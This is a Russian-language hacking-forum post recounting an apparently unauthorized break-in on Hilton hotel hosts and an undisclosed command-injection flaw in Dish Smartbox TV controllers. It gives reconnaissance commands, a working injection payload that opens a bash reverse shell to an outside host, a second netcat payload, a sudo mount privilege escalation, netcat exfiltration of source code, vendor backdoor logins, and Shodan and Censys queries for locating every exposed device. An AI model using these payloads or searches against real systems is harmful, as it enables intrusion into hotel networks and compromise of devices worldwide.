Как я показал порнуху в Hilton & 0day в Dish

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
Неужели первая и единственная статья на конкурсе с раскрытием реального 0 day?

В этом выпуске: находим таргет, составляем fuzz листы, ищем RCE, повышаем привилегии, копаемся в исходниках.

Рекон
Итак, сразу к делу. Захотелось мне потестировать на безопасность отель Hilton, начинаем с рекона, обратимся к API сервиса ipinfo.io, а именно к эндпоинту

Код:
ipinfo.io/ranges/hilton.com?token=api_token

полученные диапазоны IP сохраняем в файл CIDR.txt в таком формате:

Код:
1.2.3.4/5
6.7.8.9/10
11.12.13.14/15

скармливаем это добро масскану, чтобы он нашёл открытые порты. Немножечко обмазываемся регулярками.

Код:
cidr=$(tr '\n' ' ' < CIDR.txt); ./masscan --rate=10000 -p80,443  ${cidr::-1} -oG - | grep "Host"|awk '{print $4}' >  masscan_output.txt;

Затем нужно узнать, на каких IP не только открыт порт, но и имеется HTML-контент, нам спешит на помощь httpx. И регулярки-грепалки, куда ж без них.

Код:
./httpx -ports 80,443 -no-color -o IPs.txt -l masscan_output.txt  -threads 200; cat IPs.txt | grep -o -P '(?<=https://|http://).*(?=:  )' | awk '!seen[$0]++' > IPs_u.txt; mv IPs_u.txt IPs.txt;

RCE №1
Одним из хостов оказался дашборд для Dish Smartbox, железки, отвечающей за управление телевизорами в отеле. Чтоб вы понимали, одна такая коробочка стоит, как крыло от Боинга. Небольшая справка: Dish - огромная американская компания, поставляющая услуги спутникового ТВ.

Чтобы найти новые эндпоинты для развития периметра атаки, воспользуемся gospider, он прокраулит сайт и найдёт в html/js файлах новые диры.

Код:
gospider -s [URL]https://0.0.0.0[/URL]

d71b9958ba3237bfccee2.jpg


Я сразу обратил внимание на configuploadhandler.php?file=, извлечённый из /public/js/main.js
Максимально хрестоматийный пример из энциклопедии OWASP (example 6). Вспомнилось, что это один из популярных параметров для RCE.

Раскрутить можно софтом, а можно руками. Первый вариант наиболее простой, подойдёт отличная утилита commix, список ее проверок очень большой (можно взглянуть в seclists), имеются темперы для обхода различных фильтров. Есть встроенный функционал для прокидывания реверс шелла и много других удобных плюшек. Из проблем - она не всегда корректно работает с самоподписанными сертификатами, на проверку уходит много времени.

Понимая принцип работы, давайте-ка сами составим фазз-лист. Упор на то чтобы получить от таргета обратно HTTP реквест или DNS резолвинг. Источники вдохновения: 1 и 2.
Результат

4716d2ad0730ca6fb21bd.jpg


Теперь прокидываем ревёрс шелл

Payload:

Код:
configuploadhandler.php?file=$( /bin/bash -i >& /dev/tcp/8.8.8.8/9999 0>&1)

не забудьте поменять 8.8.8.8 на ваш IP, а 9999 - на ваш порт, который вы будете слушать неткатом

Код:
nc -lp 9999

GET запрос с учётом URL-encoding выглядит следующим образом

Код:
[URL="http://1.2.3.4/configuploadhandler.php?file=%24(%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.8.8.8%2F9999%200%3E%261)"]http://1.2.3.4/configuploadhandler.php?file=%24(%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.8.8.8%2F9999%200%3E%261) 		[/URL]

Круто, у нас в руках шелл, но это только полдела, повышаем привилегии.

Проверка версии ядра (uname -a) вызвала восторг (3.0.35), и сразу навело мысли про отгремевшую уязвимость DirtyCOW, а наличие двух ядер (cat /proc/cpuinfo) явно намекало на эксплуатируемость. Но отсутствие компилятора на борту и архитектура ARMv71 вместе со сборкой Linux специально под данную железку заставило задуматься о более простых путях.
Проверки прав файлов /etc/passwd, /etc/shadow, процессов, выполняемых с правами root, поиск истории bash, инспекция файлов c SUID и SGID битами, поиск в cron не выявили ничего интересного, но удача улыбнулась на /etc/sudoers

https://gtfobins.github.io/gtfobins/mount/

Код:
0) sudo -l # видим, что  у нашего юзера есть рутовые права на утилиту /bin/mount
1) sudo /bin/mount -o bind /bin/sh /bin/mount # ребиндим шелл на маунт
2) sudo /bin/mount # вызывая маунт, на самом деле запускаем шелл
3) whoami # проверяем, мы рут

Для дальнейшего удобства пользования терминалом настроим PATH

Код:
export PATH=$PATH:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

К сожалению, даже с рутом права на запись есть только в папку /tmp, несколько вечеров я пытался понять, как обойти ограничение. Ведь если есть функционал обновления прошивки, то должна быть реализована перезапись, но, увы, я так и не выяснил, как это сделать.

RCE №2
Первая RCE была найдена методом blackbox, мы тыкали вслепую, не зная наверняка, что происходит под капотом, теперь же есть возможность окунуться в исходники. Лежат они в папке /var/www/hiawatha. Для удобства анализа сохраним в архив и отправим на свою рабочую машину. В разных версиях прошивки есть несущественные отличия в именах и незначительные изменения кода.

Код:
1) tar -czvf /tmp/source_code.tar.gz /var/www/hiawatha # архивирование
2) nc -lp 5555 -q 1 > source_code.tar.gz # запуск netcat на принимающей машине
3) cat /tmp/source_code.tar.gz | nc 8.8.8.8 5555 # передача архива по netcat с уязвимого хоста

Давайте же выясним, что было источником уязвимости, заглянем в файл configuploadhandler.php. Обратите внимание на строки 12 и 16.

fb3b7fcba198e8ee742f5.jpg


Первая обрабатывает значение переменной file в URL запроса и сохраняет его в переменную $filepath, вторая - берёт $filepath и подставляет в инпут некоего бинаря pdconfig. Получается, для RCE достаточно наш пейлоад обернуть в $(payload). Проверьте, примерно то же самое будет, если вы введёте у себя в терминале curl https://$(whoami).com, $(whoami) будет проинтерпретирован в root (или имя вашего юзера), и выполнится curl http://root.com

Попытаемся найти похожий функционал в других местах, ключевой паттерн - exec(...)

Код:
grep -r "exec" *

Ииии барабанная дробь… в файле astbuploadhandler.php аналогичная схема работы.

e0cddd5bef48522627f6f.jpg


Payload:

Код:
astbuploadhandler.php?replace_file=1%3B%20nc%8.8.8.8%209999%3B1

Пороемся в исходниках
Давайте поищем ещё что-нибудь любопытное, например, несколько бэкдорчиков, оставленных производителем. В таблице ниже указаны пары логин:пароль, по которым вы можете зайти в дашборд Dish Smartbox, стреляют они, правда, не в 100% случаев, но всё равно часто. Последняя пара учётных данных даже указана в документации на странице 17.

db7e0b2b0a116714063cb.jpg


Дорки в Shodan и Censys

Конечно же, мы хотим поработить весь мир. Фингерпринт нашего подопытного сокрыт в тайтле главной HTML-страницы, по этому критерию будем искать в Shodan и Censys.

Код:
<title>DISH - smartbox</title>

Censys:

Код:
80.http.get.title: DISH - smartbox
443.http.get.title: DISH - smartbox

Shodan:

Код:
http.title:"DISH - smartbox"

Вывод:
Мораль сей басни такова - читайте документацию к объекту вашего исследования, вооружайтесь софтом (базовый набор для веба), изучайте сорцы по возможности.

Полезные ссылки:
Ресёрч об RCE в видео энкодерах
Сплойт к нему

Автор: Iridium
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.